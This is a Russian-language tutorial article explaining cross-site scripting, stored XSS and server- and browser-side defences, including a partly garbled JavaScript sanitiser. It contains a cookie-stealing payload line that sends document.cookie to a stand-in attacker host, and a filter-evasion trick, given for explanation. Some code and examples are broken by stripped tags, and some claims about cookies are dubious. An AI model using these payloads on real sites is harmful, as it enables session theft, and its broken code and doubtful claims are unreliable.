XSS уязвимость — что это? Примеры XSS уязвимостей. Хранимые XSS-атаки и защита от них (удаляем javascript из html в браузере)

XSS атака является одним из любимейших видов атак у хакеров. В данной статье мы постараемся в доступной форме разъяснить, что эта за вид атак, как они реализуемы, какие у них последствия, и как же от них уберечься.

Аббревиатура XSS расшифровывается как Cross Site Scripting, или «межсайтовый скриптинг». При этом первую букву С заменили на Х вследствие того, что аббревиатура CSS уже занята, обозначает «Каскадные таблицы стилей» и применяется в веб-программировании.

XSS атака – это атака на уязвимость, которая существует на сервере, позволяющая внедрить в генерируемую сервером HTML-страницу некий произвольный код, в котором может быть вообще все что угодно и передавать этот код в качестве значения переменной, фильтрация по которой не работает, то есть сервер не проверяет данную переменную на наличие в ней запрещенных знаков –, , ’, ”. Значение данной переменной передается от генерируемой HTML-страницы на сервер в скрипт, ее вызвавший путем отправки запроса.

А далее начинается самое интересное для хакера. РНР-скрипт в ответ на данный запрос генерирует HTML-страницу, в которой отображаются значения требующихся хакеру переменных, и отправляет данную страницу на браузер хакера.

То есть, говоря проще, XSS атака – это атака с помощью уязвимостей на сервере на компьютеры клиентов.

XSS атака чаще всего используется для кражи Cookies (или куки, как их произносят по-русски). В них хранится информация о сессии пребывания пользователя на сайтах, что и бывает нужным хакерам для перехвата управления личными данными пользователя на сайте в пределах, пока сессия не будет закрыта сервером, на котором размещен сайт. Помимо этого в Cookies хранится зашифрованный пароль, под которым пользователь входит на данный сайт, и при наличии необходимых утилит и желания хакерам не доставляет особого труда расшифровать данный пароль. А чем это чревато, думаю, всем понятно.

Чаще всего, как я упоминал выше, XSS атаки используются для кражи cookies (в народе – куки). В них хранятся сессии пребывания пользователя на том или ином сайте, этим злоумышленник и пользуется. Таким способом можно находится, например, на форуме, под аккаунтом другого человека. Так же cookies содержат зашифрованный пароль к аккаунту пользователя, который “сетевой хулиган” может с легкостью расшифровать и получить постоянный и ничем неограниченный доступ.

Теперь опишем другие возможности XSS атак (конечно при условии их успешного проведения).

Возможно при открытии страницы вызвать открытие большого количества ненужных пользователю окон.

Возможна вообще переадресация на другой сайт (например, на сайт конкурента).

Существует возможность загрузки на компьютер пользователя скрипта с произвольным кодом (даже вредоносного) путем внедрения ссылки на исполняемый скрипт со стороннего сервера.

Зачастую происходит кража личной информации с компьютера пользователя, помимо Cookies в качестве объекта кражи выступает информация о посещенных сайтах, о версии браузера и операционной системе, установленной на компьютере пользователя, да к тому же еще и плюсуется IP-адрес компьютера пользователя.

XSS атака может быть проведена не только через сайт, но и через уязвимости в используемом программном обеспечении (в частности, через браузеры). Поэтому рекомендуем почаще обновлять используемое программное обеспечение.

Также возможно проведение XSS атак через использование SQL-кода.

Как мы видим из всего вышесказанного, возможностей у XSS атак достаточно много. Злоумышленник может овладеть вашей личной информацией вплоть до получения паролей доступа к сайтам, а это очень неприятно. К тому же XSS атака наносит вред исключительно клиентским машинам, оставляя сервер в полностью рабочем состоянии, и у администрации различных серверов порой мало стимулов устанавливать защиту от этого вида атак.

По данным Википедии XSS на сегодняшний день составляют около 15% всех обнаруженных уязвимостей.

Различают XSS атаки двух видов: активные и пассивные. При первом виде атаки вредоносный скрипт хранится на сервере и начинает свою деятельность при загрузке страницы сайта в браузере клиента. При втором виде атак скрипт не хранится на сервере и вредоносное действие начинает выполняться только в случае какого-либо действия пользователя, например, при нажатии на сформированную ссылку.

Напоследок дадим несколько советов веб-программистам и администраторам по предотвращению проведения XSS атак .

Запретите включение напрямую параметров $_GET, $_POST, $_COOKIE в генерируемую HTML-страницу. Рекомендуем использовать альтернативные функции и параметры.

Запретите загрузку произвольных файлов на сервер во избежание загрузки вредоносных скриптов. В частности, рекомендуется запретить загрузку на сервер файлов различных типов скриптов и HTML-страниц.

Все загруженные файлы храните в базе данных, а не в файловой системе. Структуры данных это не нарушает (даже наоборот), а вот возникающих проблем может быть при использовании этого подхода значительно меньше.

Расширяя функциональность своего сайта, помните, что при этом возрастает возможность проведения XSS атак, так что расширяйте ее с крайней осторожностью и все время тестируйте.

Хранимые XSS-атаки

Cross Site Scripting атака - это злонамеренное программное воздействие на браузер пользователя в целях кражи данных или причинения иного вреда. Чтобы не бросать тень на CSS (Caskading Style Sheets), договорились в сокращенном обозначении заменять первый символ, получили аббревиатуру: XSS -атака.

Хранимые XSS-атаки - такие, при которых скрипт добавляется злоумышленником в тело страницы (посредством форм ввода - текстовых полей, инпутов, contenteditable- элементов - на форумах, в гостевых книгах и т.п.). Вставленный в сообщение замаскированный XSS-скрипт сохраняется (отсюда и название) сайтом, затем, при запросе пользователями зараженной страницы, запускается и атакует.

Варианты оформления внедряемого XSS-кода, ворующего куки
В тегах . . . :

location.href="http://example.com/" + document.cookie;

В виде обработчика событий в html-теге:

Какой-то текст

С использованием псевдопротокола javascript: :

Результатом встраивания любого из этих примеров в страницу чужого сайта будет формирование от браузеров, загрузивших ее, запроса вида
http://example.com/login=sasha;%20parol=terminator ,
где http://example.com/ - сайт злоумышленника, а login=sasha , parol=terminator - куки с компьютера пользователя (куки или сам тип воруемой информации могут быть иными, но нам данное обстоятельство сейчас не важно). На сайте вора страницы с запрашиваемым адресом, понятно, нет, поэтому сервер его домена (http://example.com/ ) сгенерирует 404-ошибку, которую легко перехватить и записать адрес запроса в лог. Таким образом, когда вредитель внедрит в страницу чужого сайта любой из вышеприведенных XSS-скриптов (в отсутствие мер защиты на сайте), тогда в течение некоторого времени на сервере http://example.com/ автоматически сформируется лог-файл, содержащий сведения о куках с браузеров всех загрузивших зараженную страницу пользователей.

Серверная защита от хранимых XSS-атак

Решение проблемы очевидно: исключить возможность программного исполнения в браузере вводимого пользователем, сохраняемого и показываемого затем другим пользователям текста. Следовательно, необходимо нейтрализовать во вводе все те места, которые явно или предположительно включают в себя скрипт, как то:
- контейнеры . . . ;
- обработчики событий в тегах;
- псевдопротоколы javascript: .

Казалось бы, просто: убрать из текста заранее известные опасные последовательности символов. Так обычно и делают: на сервере php-обработчик (фильтр) парсит ввод, вырезает из него или заменяет в нем подозрительные фрагменты. Но! Браузеры ведь исполняют JavaScript, ничего "не зная" о PHP, сервер, наоборот, "не ведает" о javascript-е. В серверной защите плохо то, что она, по большому счету, не понимает, что она делает. Отсюда становятся понятными усилия "умельцев" хранимых XSS-атак. Последние двигаются в направлении подбора для атакуемых движков такого способа порчи вредоносного скрипта, при котором фильтр на сервере уже его не распознает, а иногда даже помогает заражению сайта.

Простейший пример. Злоумышленник вводит:

Сообщение отправляется на север. На сервере фильтр "видит" опасную символьную последовательность onmouseover и вырезает ее. В итоге, не представляющее никакой угрозы (не распознаваемое браузерами) oonmouseovernmouseover превращается в onmouseover , т.е. в понятное браузерам указание на событие. В общем случае, хранимые XSS-атаки так и осуществляют: вводят в поля сайта комбинации символов, отправляют, смотрят, что получается на выходе. Далее делают предположения о том, как работает фильтр и начинают составлять "боевую" комбинацию для него.

Чтобы полноценно распознавать html на сервере, там нужен html-парсер, который учтет все, вплоть до особенностей различных версий того или иного браузера. Не кросс-, а СВЕРХ-браузерный парсер. Решение может быть более сложным, чем сама задача.

Браузерная защита от хранимых XSS-атак

Html-парсеры ведь уже есть - в браузерах. Пользуясь этим, заманчиво переложить задачу распознавания хранимых XSS-атак (ну, и защиту от них) на сами браузеры. Тогда станет ненужным предугадывать на сервере, увидит ли в добавленном на форум сообщении активное содержимое Firefox, увидит ли там активное содержимое Интернет-эксплорер и т.д. Логичнее спросить у браузера: "Ты, Firefox, видишь здесь скрипт?" . Или: "Ты, Интернет-эксплорер, видишь в этом сообщении активное содержимое?" Если браузер - именно этот, конкретный, этой версии - обнаружил скрипт, тогда можно отдать браузеру приказ нейтрализовать обнаруженное.

Скрипты выполняются браузером по ходу загрузки страницы. Пусть даже фрагмент текста невидим или скрыт - если там есть скрипт, скрипт обязательно будет запущен. Какого-то html-контейнера, запрещающего исполнение скриптов, до сих пор не изобретено (если бы такой контейнер придумали, вопроса хранимых XSS-атак не стояло бы в принципе).

Нам нужна "пассивная" загрузка - чтобы скрипты не запускались. Единственное, что приходит на ум - использовать комментарий ( ). Закомментированное браузерами не интерпретируется, не отображается, но загружается и встраивается в DOM (Document Object Model). Таким образом, заведомо имея на странице сайта подозрительный в отношении XSS контент, мы можем, тем не менее, безбоязненно отдавать эту страницу браузерам, лишь предварительно закомментировав сомнительные в плане безопасности фрагменты.

По окончании загрузки, браузер должен отмеченные нами части текста проанализировать, обезопасить их, затем только показать пользователю. Событие, соответствующее окончанию загрузки страницы, есть, называется оно onload , применимо к контейнеру body . Значит, тело страниц нашего сайта, по крайней мере, тех из них, которые содержат добавляемый пользователями контент, должно реагировать на окончание загрузки:
,
где getid("message") - функция, принимающая идентификатор того html-контейнера, содержимое которого должно быть проанализировано и обезврежено.

Функция: выборщик фрагментов

Интернет-эксплорер версий 6 или 7, сейчас - летом 2014 года - еще используют. Исходя из рунетовских статистик можно оценить долю эксплореров 6 и 7, вместе взятых, в 1% трафика. Пожалуй, это самые уязвимые браузеры. Я думаю, защиту надо строить такую, которая будет работать, начиная с шестого эксплорера. Пусть это и даст некоторые шероховатости в коде.

Шестой эксплорер в ответ на document.getElementByClassName() выдает объект (не коллекцию объектов, как можно было бы ожидать). Подстраиваться приходится под самого слабого, поэтому, будем получать фрагменты текста так, как хочет эксплорер 6 - по одному. Опираться будем все же на id , но при этом допуская множество фрагментов с одинаковым id на одной странице. Такое против правил, зато получится кроссбраузерно.

Функция getid(id) :

function getid(id) { var obj; while (document.getElementById(id)) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("", ""); clearhtml(obj); ]*?script[^>]*?>/gi, ""); obj.innerHTML = obj.innerHTML.replace(/]*?js:[^>]*?>/gi, ""); } }

Ничего сложного, тем не менее, по каждой строке есть пояснения - в титлах (просто наведите курсор).

Функция: чистильщик html

Пользуясь методами и свойствами DOM, в частности, можно получить:
- массив вложенных html-контейнеров;
- имя каждого вложенного html-контейнера;
- имена всех атрибутов каждого html-контейнера.
В записи вида